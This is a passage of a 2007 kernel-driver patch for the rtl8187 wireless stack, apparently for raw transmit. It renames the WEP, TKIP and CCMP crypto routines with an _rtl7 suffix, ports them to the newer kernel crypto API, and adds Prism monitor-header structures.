ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-07-13 01:46:10.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,19 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +412,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +424,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +472,26 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,13 +525,22 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } @@ -445,15 +552,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +599,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +611,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +649,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +665,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +673,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +682,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +700,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +716,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +761,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +791,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +818,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,21 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +210,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +240,22 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +276,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +290,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +303,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +312,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-07-13 01:46:10.000000000 +0200 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - 